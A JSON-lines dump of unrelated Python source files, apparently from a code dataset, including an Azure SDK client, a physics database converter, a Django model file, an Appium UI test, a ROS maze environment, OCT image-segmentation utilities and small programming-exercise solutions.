Operations(self._client, self._config, self._serialize, self._deserialize)\n self.storagecontainers = StoragecontainersOperations(\n self._client, self._config, self._serialize, self._deserialize\n )\n self.virtualharddisks = VirtualharddisksOperations(\n self._client, self._config, self._serialize, self._deserialize\n )\n self.virtualmachines = VirtualmachinesOperations(self._client, self._config, self._serialize, self._deserialize)\n self.hybrid_identity_metadata = HybridIdentityMetadataOperations(\n self._client, self._config, self._serialize, self._deserialize\n )\n self.machine_extensions = MachineExtensionsOperations(\n self._client, self._config, self._serialize, self._deserialize\n )\n self.guest_agent = GuestAgentOperations(self._client, self._config, self._serialize, self._deserialize)\n self.guest_agents = GuestAgentsOperations(self._client, self._config, self._serialize, self._deserialize)\n self.virtualnetworks = VirtualnetworksOperations(self._client, self._config, self._serialize, self._deserialize)\n\n def _send_request(self, request: HttpRequest, **kwargs: Any) -> Awaitable[AsyncHttpResponse]:\n \"\"\"Runs the network request through the client's chained policies.\n\n >>> from azure.core.rest import HttpRequest\n >>> request = HttpRequest(\"GET\", \"https://www.example.org/\")\n \n >>> response = await client._send_request(request)\n \n\n For more information on this code flow, see https://aka.ms/azsdk/dpcodegen/python/send_request\n\n :param request: The network request you want to make. Required.\n :type request: ~azure.core.rest.HttpRequest\n :keyword bool stream: Whether the response payload will be streamed. Defaults to False.\n :return: The response of your network call. Does not do error handling on your response.\n :rtype: ~azure.core.rest.AsyncHttpResponse\n \"\"\"\n\n request_copy = deepcopy(request)\n request_copy.url = self._client.format_url(request_copy.url)\n return self._client.send_request(request_copy, **kwargs)\n\n async def close(self) -> None:\n await self._client.close()\n\n async def __aenter__(self) -> \"AzureStackHCIClient\":\n await self._client.__aenter__()\n return self\n\n async def __aexit__(self, *exc_details) -> None:\n await self._client.__aexit__(*exc_details)\n","sub_path":"sdk/azurestackhci/azure-mgmt-azurestackhci/azure/mgmt/azurestackhci/aio/_azure_stack_hci_client.py","file_name":"_azure_stack_hci_client.py","file_ext":"py","file_size_in_byte":8675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"572073435","text":"#!/usr/bin/env python\n\n\"\"\"\n.. module:: convert\n :synopsis: used to create info.dat and the .dat files.\n\n\"\"\"\nimport sys\nimport os\nimport argparse\nimport types\n\nargparser = argparse.ArgumentParser(description = \n'create info.dat, txname.dat, twiki.dat and sms.py')\nargparser.add_argument ('-utilsPath', '--utilsPath', \nhelp = 'path to the package smodels_utils',\\\ntype = types.StringType)\nargparser.add_argument ('-smodelsPath', '--smodelsPath', \nhelp = 'path to the package smodels_utils',\\\ntype = types.StringType)\nargs = argparser.parse_args()\n\nif args.utilsPath:\n utilsPath = args.utilsPath\nelse:\n databaseRoot = '../../../'\n sys.path.append(os.path.abspath(databaseRoot))\n from utilsPath import utilsPath\n utilsPath = databaseRoot + utilsPath\nif args.smodelsPath:\n sys.path.append(os.path.abspath(args.smodelsPath))\n\nsys.path.append(os.path.abspath(utilsPath))\nfrom smodels_utils.dataPreparation.inputObjects import MetaInfoInput,DataSetInput\nfrom smodels_utils.dataPreparation.databaseCreation import databaseCreator\nfrom smodels_utils.dataPreparation.massPlaneObjects import x, y, z\n\n\n#+++++++ global info block ++++++++++++++\ninfo = MetaInfoInput('CMS-PAS-EXO-16-036')\ninfo.url = 'http://cms-results.web.cern.ch/cms-results/public-results/preliminary-results/EXO-16-036/index.html'\ninfo.sqrts = 13\ninfo.lumi = 12.9\ninfo.prettyName ='hscp search'\ninfo.private = False\ninfo.contact ='cms-pag-conveners-exotica@cern.ch'\ninfo.comment ='Upper limits digitized from Track+TOF png plots. Used conservative gluino bounds (50% gluino-gluon probability) and curve for the cloud model for the squark R-hadron constraints.'\n\n#+++++++ dataset block ++++++++++++++\ndataset = DataSetInput('data')\ndataset.setInfo(dataType = 'upperLimit', dataId = None)\n\n#+++++++ txnames ++++++++++++++++++++\n#+++++++ next txName block ++++++++++++++\nHSCPM1 = dataset.addTxName('THSCPM1b')\nHSCPM1.checked =''\nHSCPM1.constraint = \"[[],[]]\"\nHSCPM1.condition =None\nHSCPM1.finalState = ['HSCP','HSCP']\nHSCPM1.massConstraints = None\nHSCPM1.dataUrl = 'http://cms-results.web.cern.ch/cms-results/public-results/preliminary-results/EXO-16-036/CMS-PAS-EXO-16-036_Figure_003-b.png'\nHSCPM1.source = 'CMS'\n#+++++++ next mass plane block ++++++++++++++\nplane = HSCPM1.addMassPlane([[x],[x]])\nplane.setSources(dataLabels=['upperLimits'],\n dataFiles=['orig/CMS-PAS-EXO-16-036_Figure_003-b_stauDP.dat'],\n dataFormats=['txt'],units=['pb'])\n\n\n#+++++++ next txName block ++++++++++++++\nRHadGM1 = dataset.addTxName('TRHadGM1')\nRHadGM1.checked =''\nRHadGM1.constraint = \"[[],[]]\"\nRHadGM1.condition =None\nRHadGM1.finalState = ['RHadronG','RHadronG']\nRHadGM1.massConstraints = None\nRHadGM1.dataUrl = 'http://cms-results.web.cern.ch/cms-results/public-results/preliminary-results/EXO-16-036/CMS-PAS-EXO-16-036_Figure_003-b.png'\nRHadGM1.source = 'CMS'\n#+++++++ next mass plane block ++++++++++++++\nplane = RHadGM1.addMassPlane([[x],[x]])\nplane.setSources(dataLabels=['upperLimits'],\n dataFiles=['orig/CMS-PAS-EXO-16-036_Figure_003-b_gluino50.dat'],\n dataFormats=['txt'],units=['pb'])\n\n#+++++++ next txName block ++++++++++++++\nRHadQM1 = dataset.addTxName('TRHadQM1')\nRHadQM1.checked =''\nRHadQM1.constraint = \"[[],[]]\"\nRHadQM1.condition =None\nRHadQM1.finalState = ['RHadronQ','RHadronQ']\nRHadQM1.massConstraints = None\nRHadQM1.dataUrl = 'http://cms-results.web.cern.ch/cms-results/public-results/preliminary-results/EXO-16-036/CMS-PAS-EXO-16-036_Figure_003-b.png'\nRHadQM1.source = 'CMS'\n#+++++++ next mass plane block ++++++++++++++\nplane = RHadQM1.addMassPlane([[x],[x]])\nplane.setSources(dataLabels=['upperLimits'],\n dataFiles=['orig/CMS-PAS-EXO-16-036_Figure_003-b_stop.dat'],\n dataFormats=['txt'],units=['pb'])\n\n\ndatabaseCreator.create()\n\n","sub_path":"smodels-database/13TeV/CMS/CMS-PAS-EXO-16-036/convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":3833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"438822046","text":"\"\"\"\nImplement the myAtoi(string s) function, which converts a string to a 32-bit signed integer (similar to C/C++'s atoi function).\n\nThe algorithm for myAtoi(string s) is as follows:\n\nRead in and ignore any leading whitespace.\nCheck if the next character (if not already at the end of the string) is '-' or '+'. Read this character in if it is either. This determines if the final result is negative or positive respectively. Assume the result is positive if neither is present.\nRead in next the characters until the next non-digit character or the end of the input is reached. The rest of the string is ignored.\nConvert these digits into an integer (i.e. \"123\" -> 123, \"0032\" -> 32). If no digits were read, then the integer is 0. Change the sign as necessary (from step 2).\nIf the integer is out of the 32-bit signed integer range [-231, 231 - 1], then clamp the integer so that it remains in the range. Specifically, integers less than -231 should be clamped to -231, and integers greater than 231 - 1 should be clamped to 231 - 1.\nReturn the integer as the final result.\nNote:\n\nOnly the space character ' ' is considered a whitespace character.\nDo not ignore any characters other than the leading whitespace or the rest of the string after the digits.\n \n\nExample 1:\n\nInput: s = \"42\"\nOutput: 42\nExplanation: The underlined characters are what is read in, the caret is the current reader position.\nStep 1: \"42\" (no characters read because there is no leading whitespace)\n ^\nStep 2: \"42\" (no characters read because there is neither a '-' nor '+')\n ^\nStep 3: \"42\" (\"42\" is read in)\n ^\nThe parsed integer is 42.\nSince 42 is in the range [-231, 231 - 1], the final result is 42.\nExample 2:\n\nInput: s = \" -42\"\nOutput: -42\nExplanation:\nStep 1: \" -42\" (leading whitespace is read and ignored)\n ^\nStep 2: \" -42\" ('-' is read, so the result should be negative)\n ^\nStep 3: \" -42\" (\"42\" is read in)\n ^\nThe parsed integer is -42.\nSince -42 is in the range [-231, 231 - 1], the final result is -42.\nExample 3:\n\nInput: s = \"4193 with words\"\nOutput: 4193\nExplanation:\nStep 1: \"4193 with words\" (no characters read because there is no leading whitespace)\n ^\nStep 2: \"4193 with words\" (no characters read because there is neither a '-' nor '+')\n ^\nStep 3: \"4193 with words\" (\"4193\" is read in; reading stops because the next character is a non-digit)\n ^\nThe parsed integer is 4193.\nSince 4193 is in the range [-231, 231 - 1], the final result is 4193.\n \n\nConstraints:\n\n0 <= s.length <= 200\ns consists of English letters (lower-case and upper-case), digits (0-9), ' ', '+', '-', and '.'.\n\"\"\"\nfrom math import pow\nclass Solution:\n def myAtoi(self, s: str) -> int:\n # read in the words. strpip off leading and trailing whitespaces.\n # look for concatenated num then discard the rest\n num = 0\n start = False\n # count = 0\n first = True\n prev = 'x'\n signage = 1\n for d in s: # 42: 4\n if d.isdigit(): # True\n if first: \n first = False\n if prev == '-': # true\n signage = -1 # -\n \n first = False\n\n start = True\n num = int(d) + num * 10 # 4 + 0 % 10^0 = 4, 2 + 4 * 10^1 = 42\n # count = count + 1 # 1\n \n if start and not d.isdigit(): # false\n if signage == '-':\n return -1 * int(num)\n prev = d # -\n \n return signage * int(num)\n \n \n\n\nsolution = Solution()\nprint(solution.myAtoi('42'))\nprint(solution.myAtoi('-42'))\nprint(solution.myAtoi(\"4193 with words\"))\n\n \n\n \n\n\n\n\n","sub_path":"after_twittr/atoi.py","file_name":"atoi.py","file_ext":"py","file_size_in_byte":3802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"621777854","text":"from django.db import models\nfrom gmail import settings\n\n\nclass Tags(models.Model):\n id = models.AutoField(primary_key=True) # 标签的id\n user_id = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE)\n tags = models.CharField(max_length=20, verbose_name=\"标签名称\")\n\n\nclass NoteTpye(models.Model):\n id = models.AutoField(primary_key=True) # 标签的id\n user_id = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE)\n notetype = models.CharField(max_length=20, verbose_name=\"标签名称\")\n\n\nclass File(models.Model):\n \"\"\"用户的文件\"\"\"\n\n id = models.AutoField(primary_key=True) # 文件的id\n Title = models.CharField(max_length=100, verbose_name=\"标题\", blank=True, unique=False) # 文件的名字\n notebook_html = models.TextField(blank=True)\n notebook_text = models.TextField(blank=True)\n file_id = models.CharField(max_length=100, verbose_name='文件在email上的id', blank=True) # 在gmail 上的id\n image_address = models.CharField(max_length=100, verbose_name=\"图片地址\", blank=True) # 图片地址\n user_id = models.IntegerField(verbose_name=\"用户的id\", blank=True, null=True) # 用户的id\n c_time = models.DateTimeField(auto_now_add=True,auto_now=False, verbose_name=\"文档创建的时间\") # 文档的创建时间\n u_time = models.DateTimeField(auto_now=True,auto_now_add=False)\n category = models.IntegerField(default=0, verbose_name=\"0为ck,1为md\")\n Tags_name = models.CharField(max_length=20, verbose_name=\"标签\", blank=True, null=True)\n notetype = models.CharField(max_length=20, verbose_name=\"笔记的分类\", null=True, blank=True)\n\n\n\n class Mate:\n db_table = 'user_file'\n verbose_name = '用户的编辑的文件'\n verbose_name_plural = verbose_name\n","sub_path":"gmail/gmail/apps/ckeditor_crud/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"541486989","text":"import time\nfrom appium import webdriver\nfrom appium.webdriver.common.touch_action import TouchAction\n\n\ndef el_op(element, mode, key=None, row=None, col=None):\n if mode == 1:\n element.click()\n time.sleep(2)\n elif mode == 2:\n element.send_keys(key)\n time.sleep(1)\n elif mode == 3:\n newx, newy = find_elements_by_xy(element, row, col)\n TouchAction(driver).tap(x=newx, y=newy).perform()\n time.sleep(2)\n\n\n# (x, y)=find_elements_by_xy(driver.find_element_by_id(\"org.moire.opensudoku:id/sudoku_board\"),1,1)\ndef find_elements_by_xy(ele, row, col):\n w = ele.size['width']\n x = ele.location['x']\n y = ele.location['y']\n unit = w / 9\n return [int(x + col * unit - unit / 2), int(y + row * unit - unit / 2)]\n\nstate_activity_dic = {}\ndesired_caps = {}\ndesired_caps['platformName'] = 'Android'\ndesired_caps['platformVersion'] = '11'\ndesired_caps['deviceName'] = 'Pixel API 30'\ndesired_caps['appPackage'] = 'org.moire.opensudoku'\ndesired_caps['appActivity'] = 'org.moire.opensudoku.gui.TitleScreenActivity'\n\ndriver = webdriver.Remote('http://127.0.0.1:4723/wd/hub', desired_caps)\ndriver.implicitly_wait(20)\ntime.sleep(4)\n# bug1: 0-1-6-10-14\nel = driver.find_elements_by_id(\"android:id/button1\")[0]\nel_op(el, 1)\nel = driver.find_elements_by_id(\"org.moire.opensudoku:id/sudoku_lists_button\")[0] # sudoku lists\nel_op(el, 1)\nel = driver.find_elements_by_accessibility_id(\"More options\")[0] # More options...\nel_op(el, 1)\nel = driver.find_elements_by_class_name(\"android.widget.LinearLayout\")[4] # Export all folders\nel_op(el, 1)\nel = driver.find_elements_by_id(\"org.moire.opensudoku:id/save_button\")[0]\nel_op(el, 1)\nel = driver.find_elements_by_id(\"com.android.permissioncontroller:id/permission_allow_button\")[0]\nel_op(el, 1)\ndriver.quit()\n","sub_path":"bug/bug1.py","file_name":"bug1.py","file_ext":"py","file_size_in_byte":1799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"191398363","text":"# Copyright 2017 NTT\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom oslo_config import cfg\n\nfrom networking_spp._i18n import _\nfrom neutron.conf.agent import common\n\n\nspp_opts = [\n cfg.StrOpt('api_ip_addr', default='127.0.0.1',\n help=_(\"Spp-ctl bind ip address\")),\n cfg.IntOpt('api_port', default=7777,\n help=_(\"Spp-ctl web api port number\")),\n]\n\n\ncfg.CONF.register_opts(spp_opts, 'spp')\ncommon.register_agent_state_opts_helper(cfg.CONF)\n","sub_path":"networking_spp/agent/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"313579654","text":"#0~4 1-5\ndef isosceles():\n \"\"\"\n this method is to print an isosceles triangle\n \"\"\"\n i = 1\n while i<=5:\n\n j=1\n while j<=i:\n print(\"* \",end=\"\")\n j+=1\n #一行打印结束,换行\n print()\n i+=1","sub_path":"python08/python08/loop/whilePractice4.py","file_name":"whilePractice4.py","file_ext":"py","file_size_in_byte":261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"622514440","text":"#!/usr/bin/env python\nimport sys\nimport rospy\nfrom t_maze_return_path.srv import ExecAction,ExecActionResponse\nfrom std_msgs.msg import String\n\nclass Env:\n def __init__(self):\n str1 = \" \"\n str2 = \" x x \"\n str3 = \" \"\n self.cell = [str1,str2,str3]\n self.x = 2\n self.y = 2\n self.prev_x = None\n self.prev_y = None\n self.d = \"^\"\n self.food_x = None\n self.food_y = None\n\n self.trial = 0\n\n def p(self):\n ans = \"-------\"\n for i,line in enumerate(self.cell):\n if self.y == i:\n line = line[0:self.x] + self.d + line[self.x+1:]\n if self.food_y == i and self.food_x != None:\n line = line[0:self.food_x] + '@'+ line[self.food_x+1:]\n line = \"|\" + line + \"|\"\n\n ans = ans + \"\\n\" + line\n\n return ans + \"\\n-------\"\n\n def in_the_env(self,x,y):\n if y < 0 or y >= len(self.cell): return False\n if x < 0 or x >= len(self.cell[y]): return False\n if (x,y) == (1,1) or (x,y) == (3,1): return False\n\n return True\n\n def pos(self):\n return self.x, self.y, self.d\n\n def move(self,action):\n self.prev_x,self.prev_y = self.x,self.y\n if action == \"fw\":\n x,y = self.x, self.y\n if self.d == \"^\": y = y - 1\n elif self.d == \"v\": y = y + 1\n elif self.d == \">\": x = x + 1\n elif self.d == \"<\": x = x - 1\n if self.in_the_env(x,y):\n self.x, self.y = x,y\n return \"OK\"\n\n return \"HIT\"\n\n if action == \"cw\":\n if self.d == \"^\": self.d = \">\"\n elif self.d == \"<\": self.d = \"^\"\n elif self.d == \"v\": self.d = \"<\"\n elif self.d == \">\": self.d = \"v\"\n return \"OK\"\n\n if action == \"ccw\":\n if self.d == \"^\": self.d = \"<\"\n elif self.d == \"<\": self.d = \"v\"\n elif self.d == \"v\": self.d = \">\"\n elif self.d == \">\": self.d = \"^\"\n return \"OK\"\n\n return \"INVALID_ACTION\"\n\n def is_visible_forward(self):\n x,y = self.x, self.y\n if self.d == \"^\": y = y - 1\n if self.d == \"v\": y = y + 1\n if self.d == \">\": x = x + 1\n if self.d == \"<\": x = x - 1\n\n return self.in_the_env(x,y)\n\n def food_rule(self):\n if (self.x,self.y) == (self.food_x,self.food_y):# agent gets the food\n self.food_x = None\n self.food_y = None\n return 99.0\n\n if self.x == 2 and self.y == 2: # at the start pos\n if self.food_x != None:\n return -1.0\n\n self.food_y = 0\n if self.trial%2 == 0:\n self.food_x = 3\n else:\n self.food_x = 1\n\n self.trial = self.trial + 1\n return -1.0\n\n return -1.0\n\ndef callback_action(message):\n a = message.action\n d = ExecActionResponse()\n d.result = env.move(a)\n #d.sensor = \"NO_WALL\" if env.is_visible_forward() else \"WALL\"\n x,y,dr = env.pos()\n d.sensor = \"x:%d,y:%d,d:%s\" % (x,y,dr)\n\n d.reward = env.food_rule()\n\n rospy.loginfo(\"\\n\" + env.p())\n return d\n\nif __name__ == '__main__':\n env = Env()\n\n try:\n env.food_x = 1\n env.food_y = 0\n rospy.init_node('environment')\n srv = rospy.Service('action', ExecAction, callback_action)\n rospy.loginfo(\"\\n\" + env.p())\n rospy.spin()\n\n except rospy.ROSInterruptException:\n pass\n","sub_path":"scripts/environment_pos_known.py","file_name":"environment_pos_known.py","file_ext":"py","file_size_in_byte":3524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"527610079","text":"\"\"\"\nAuthor: Brady Trenary\nProgram: basic_function_assignment.py\n\nProgram takes an employee's name, hours worked, hourly wage and prints them.\n\"\"\"\n\n\ndef hourly_employee_input():\n try:\n name = input('Enter employee name: ')\n hours_worked = int(input('Enter hours worked: '))\n hourly_pay_rate = float(input('Enter hourly pay rate: '))\n result = f'{name}, {hours_worked} hours worked, {hourly_pay_rate}/hr.'\n\n if name.isdigit():\n print('Invalid name input')\n elif hours_worked < 0 or hourly_pay_rate < 0:\n print(\"Invalid input\")\n else:\n print(result)\n\n except ValueError:\n print('Invalid input')\n\n\nif __name__ == '__main__':\n hourly_employee_input()\n","sub_path":"basic_function_assignment.py","file_name":"basic_function_assignment.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"570691059","text":"# utilities functions.\n\nimport numpy as np\n# import xml.etree.ElementTree as ET\nfrom lxml import etree as ET\nimport os\nimport datetime\n\ndef extractPaitentID(str): # for Tongren data\n '''\n\n :param str: \"/home/hxie1/data/OCT_Tongren/control/4511_OD_29134_Volume/20110629044120_OCT06.jpg\"\n :return: output: 4511_OD_29134\n '''\n stem = str[:str.rfind(\"_Volume/\")]\n patientID = stem[stem.rfind(\"/\") + 1:]\n return patientID\n\ndef extractFileName(str): # for Tongren data\n '''\n\n :param str: \"/home/hxie1/data/OCT_Tongren/control/4511_OD_29134_Volume/20110629044120_OCT06.jpg\"\n :return: output: 4511_OD_29134_OCT06\n '''\n stem = str[:str.rfind(\"_Volume/\")]\n patientID = stem[stem.rfind(\"/\")+1:]\n OCTIndex = str[str.rfind(\"_\"):-4]\n return patientID+OCTIndex\n\ndef loadInputFilesList(filename):\n filesList = []\n with open( filename, \"r\") as f:\n for line in f:\n filesList.append(line.strip())\n return filesList\n\ndef saveInputFilesList(filesList, filename):\n with open( filename, \"w\") as f:\n for file in filesList:\n f.write(file + \"\\n\")\n\ndef getSurfacesArray(segFile):\n \"\"\"\n Read segmentation result into numpy array from OCTExplorer readable xml file.\n\n :param segFile in xml format\n :return: array in [Slices, Surfaces,X] order\n \"\"\"\n xmlTree = ET.parse(segFile)\n xmlTreeRoot = xmlTree.getroot()\n\n size = xmlTreeRoot.find('scan_characteristics/size')\n for item in size:\n if item.tag == 'x':\n X =int(item.text)\n elif item.tag == 'y':\n Y = int(item.text)\n elif item.tag == 'z':\n Z = int(item.text)\n else:\n continue\n\n surface_num = int(xmlTreeRoot.find('surface_num').text)\n surfacesArray = np.zeros((Z, surface_num, X),dtype=float)\n\n s = -1\n for surface in xmlTreeRoot:\n if surface.tag =='surface':\n s += 1\n z = -1\n for bscan in surface:\n if bscan.tag =='bscan':\n z +=1\n x = -1\n for item in bscan:\n if item.tag =='y':\n x +=1\n surfacesArray[z,s,x] = float(item.text)\n return surfacesArray\n\ndef getPatientID_Slice(fileName):\n '''\n\n :param fileName: e.g. \"/home/hxie1/data/OCT_Tongren/control/4162_OD_23992_Volume/20110616012458_OCT10.jpg\"\n :return: e.g. '4162_OD_23992, OCT10'\n '''\n splitPath = os.path.split(fileName)\n s = os.path.basename(splitPath[0])\n patientID = s[0:s.rfind(\"_\")]\n s = splitPath[1]\n sliceID = s[s.rfind(\"_\") + 1:s.rfind('.jpg')]\n return patientID, sliceID\n\ndef savePatientsPrediction(referFileDir, patientsDict, outputDir, y=496, voxelSizeY=3.87):\n curTime = datetime.datetime.now()\n dateStr = f\"{curTime.month:02d}/{curTime.day:02d}/{curTime.year}\"\n timeStr = f\"{curTime.hour:02d}:{curTime.minute:02d}:{curTime.second:02d}\"\n\n if not os.path.isdir(outputDir):\n os.makedirs(outputDir)\n\n for patientID in patientsDict.keys():\n\n #read reference file\n refXMLFile = referFileDir+f\"/{patientID}_Volume_Sequence_Surfaces_Iowa.xml\"\n\n # make print pretty\n parser = ET.XMLParser(remove_blank_text=True)\n xmlTree = ET.parse(refXMLFile, parser)\n # old code for ETree\n # xmlTree = ET.parse(refXMLFile)\n xmlTreeRoot = xmlTree.getroot()\n\n '''\n \n 09/25/2019\n \n NA\n N\n \n '''\n xmlTreeRoot.find('modification/date').text = dateStr\n xmlTreeRoot.find('modification/time').text = timeStr\n xmlTreeRoot.find('modification/modifier').text = \"Hui Xie, Xiaodong Wu\"\n ET.SubElement(xmlTreeRoot.find('modification'), 'content', {}).text = \"SurfOptNet 1.0\"\n\n xmlTreeRoot.find('scan_characteristics/size/x').text = str(512)\n\n xmlTreeRoot.find('surface_size/x').text = str(512)\n numSurface = len(patientsDict[patientID].keys())\n xmlTreeRoot.find('surface_num').text= str(numSurface)\n\n for surface in xmlTreeRoot.findall('surface'):\n xmlTreeRoot.remove(surface)\n for undefinedRegion in xmlTreeRoot.findall('undefined_region'):\n xmlTreeRoot.remove(undefinedRegion)\n\n for surf in patientsDict[patientID].keys():\n\n ''' xml format:\n \n MetaImage\n \n voxel\n 768\n 496\n 31\n \n \n mm\n 0.013708\n 0.003870\n 0.292068\n \n NA\n macula\n \n voxel\n \n 768\n 31\n \n 11\n\n \n \n ILM (ILM)\n NA\n \n 133\n 134\n\n '''\n surfaceElement = ET.SubElement(xmlTreeRoot, 'surface',{})\n ET.SubElement(surfaceElement, 'label',{}).text=str(surf)\n ET.SubElement(surfaceElement, 'name',{}).text = 'ILM(ILM)'\n ET.SubElement(surfaceElement, 'instance',{}).text = 'NA'\n for bscan in patientsDict[patientID][surf].keys():\n bscanElemeent = ET.SubElement(surfaceElement, 'bscan',{})\n for y in patientsDict[patientID][surf][bscan]:\n ET.SubElement(bscanElemeent, 'y',{}).text = str(y)\n\n outputXMLFilename = outputDir + f\"/{patientID}_Volume_Sequence_Surfaces_Prediction.xml\"\n xmlTree.write(outputXMLFilename, pretty_print=True)\n print(f\"{len(patientsDict)} prediction XML surface files are outpted at {outputDir}\\n\")\n\ndef saveNumpy2OCTExplorerXML(patientID, predicition, surfaceNames, outputDir, refXMLFile, y=496, voxelSizeY=3.87):\n curTime = datetime.datetime.now()\n dateStr = f\"{curTime.month:02d}/{curTime.day:02d}/{curTime.year}\"\n timeStr = f\"{curTime.hour:02d}:{curTime.minute:02d}:{curTime.second:02d}\"\n\n # some parameters:\n B, S, W = predicition.shape\n # assert W ==512 and B==31\n assert S == len(surfaceNames)\n\n # make print pretty\n parser = ET.XMLParser(remove_blank_text=True)\n # read reference file\n xmlTree = ET.parse(refXMLFile, parser)\n xmlTreeRoot = xmlTree.getroot()\n\n '''\n \n 09/25/2019\n \n NA\n N\n \n '''\n xmlTreeRoot.find('modification/date').text = dateStr\n xmlTreeRoot.find('modification/time').text = timeStr\n xmlTreeRoot.find('modification/modifier').text = \"Hui Xie, Xiaodong Wu\"\n ET.SubElement(xmlTreeRoot.find('modification'), 'content', {}).text = \"SurfOptNet 1.0\"\n\n xmlTreeRoot.find('scan_characteristics/size/x').text = str(W)\n xmlTreeRoot.find('scan_characteristics/size/y').text = str(y)\n xmlTreeRoot.find('scan_characteristics/size/z').text = str(B)\n xmlTreeRoot.find('scan_characteristics/voxel_size/y').text = str(voxelSizeY/1000)\n xmlTreeRoot.find('surface_size/x').text = str(W)\n xmlTreeRoot.find('surface_size/z').text = str(B)\n xmlTreeRoot.find('surface_num').text = str(S)\n\n for surface in xmlTreeRoot.findall('surface'):\n xmlTreeRoot.remove(surface)\n for undefinedRegion in xmlTreeRoot.findall('undefined_region'):\n xmlTreeRoot.remove(undefinedRegion)\n\n for s in range(0,S):\n\n ''' xml format:\n \n MetaImage\n \n voxel\n 768\n 496\n 31\n \n \n mm\n 0.013708\n 0.003870\n 0.292068\n \n NA\n macula\n \n voxel\n \n 768\n 31\n \n 11\n\n \n \n ILM (ILM)\n NA\n \n 133\n 134\n\n '''\n surfaceElement = ET.SubElement(xmlTreeRoot, 'surface', {})\n ET.SubElement(surfaceElement, 'label', {}).text = str(s)\n ET.SubElement(surfaceElement, 'name', {}).text = surfaceNames[s]\n ET.SubElement(surfaceElement, 'instance', {}).text = 'NA'\n for b in range(B):\n bscanElemeent = ET.SubElement(surfaceElement, 'bscan', {})\n surface = predicition[b,s,:]\n for i in range(W):\n ET.SubElement(bscanElemeent, 'y', {}).text = str(surface[i])\n\n outputXMLFilename = outputDir + f\"/{patientID}_Sequence_Surfaces_Prediction.xml\"\n xmlTree.write(outputXMLFilename, pretty_print=True)\n\ndef batchPrediciton2OCTExplorerXML(testOutputs, testIDs, numBscan, surfaceNames, outputDir,\n refXMLFile=\"/home/hxie1/data/OCT_Tongren/refXML/1062_OD_9512_Volume_Sequence_Surfaces_Iowa.xml\",\n y=496, voxelSizeY=3.87, dataInSlice=False):\n B,S,W = testOutputs.shape\n assert B == len(testIDs)\n assert 0 == B%numBscan\n # refXMLFile = \"/home/hxie1/data/OCT_Tongren/refXML/1062_OD_9512_Volume_Sequence_Surfaces_Iowa.xml\"\n if not os.path.isdir(outputDir):\n os.makedirs(outputDir)\n i=0\n while i int:\n \"\"\"\n Returns LAST 10 DIGITS of n**n\n \"\"\"\n x: int = 1\n i: int\n for i in range(n):\n x *= n\n x %= N\n return x\n\n\ndef main() -> int:\n # The number of desired self powers\n K: int = 1000\n # Sum up the first K self powers\n # sps is an int with the self power sum\n sps: int = 0\n n: int\n for n in range_inc(K):\n sps += selfPower_last10(n)\n sps %= N\n # Convert sps to a string s\n s: str = str(sps)\n # If necessary, left pad s with zeros\n sLen: int = len(s)\n s = (10 - sLen) * '0' + s\n print(f'Last 10 digits: {s}.')\n return int(s)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"Prob048_SelfPowers.py","file_name":"Prob048_SelfPowers.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"339230042","text":"import os\nimport json\nimport re\nimport socket\nimport xml.etree.ElementTree as ET\nfrom six.moves.http_client import BadStatusLine\nfrom six.moves.urllib.error import HTTPError\nfrom six.moves.urllib.parse import quote, urlencode\nfrom six.moves.urllib.request import Request\nif os.getenv('environment', 'NOT_DEFINED') == \"dev\":\n from requests_lib import RequestObj\n from constants import get_credentials\n from version import __version__\nelse:\n from greenlight.requests_lib import RequestObj\n from greenlight.constants import get_credentials\n from greenlight.version import __version__\n__version__ = __version__\n\nINFO = 'api/json'\nPLUGIN_INFO = 'pluginManager/api/json?depth=%(depth)s'\nJOB_INFO = 'job/%(name)s/api/json?depth=%(depth)s'\nJOB_NAME = 'job/%(name)s/api/json?tree=name'\nQ_INFO = 'queue/api/json?depth=0'\nCANCEL_QUEUE = 'queue/cancelItem?id=%(id)s'\nCREATE_JOB = 'createItem?name=%(name)s'\nCONFIG_JOB = 'job/%(name)s/config.xml'\nDELETE_JOB = 'job/%(name)s/doDelete'\nENABLE_JOB = 'job/%(name)s/enable'\nDISABLE_JOB = 'job/%(name)s/disable'\nCOPY_JOB = 'createItem?name=%(to_name)s&mode=copy&from=%(from_name)s'\nRENAME_JOB = 'job/%(from_name)s/doRename?newName=%(to_name)s'\nBUILD_JOB = 'job/%(name)s/build'\nSTOP_BUILD = 'job/%(name)s/%(number)s/stop'\nBUILD_WITH_PARAMS_JOB = 'job/%(name)s/buildWithParameters'\nBUILD_INFO = 'job/%(name)s/%(number)d/api/json?depth=%(depth)s'\nBUILD_CONSOLE_OUTPUT = 'job/%(name)s/%(number)d/consoleText'\nCREATE_VIEW = 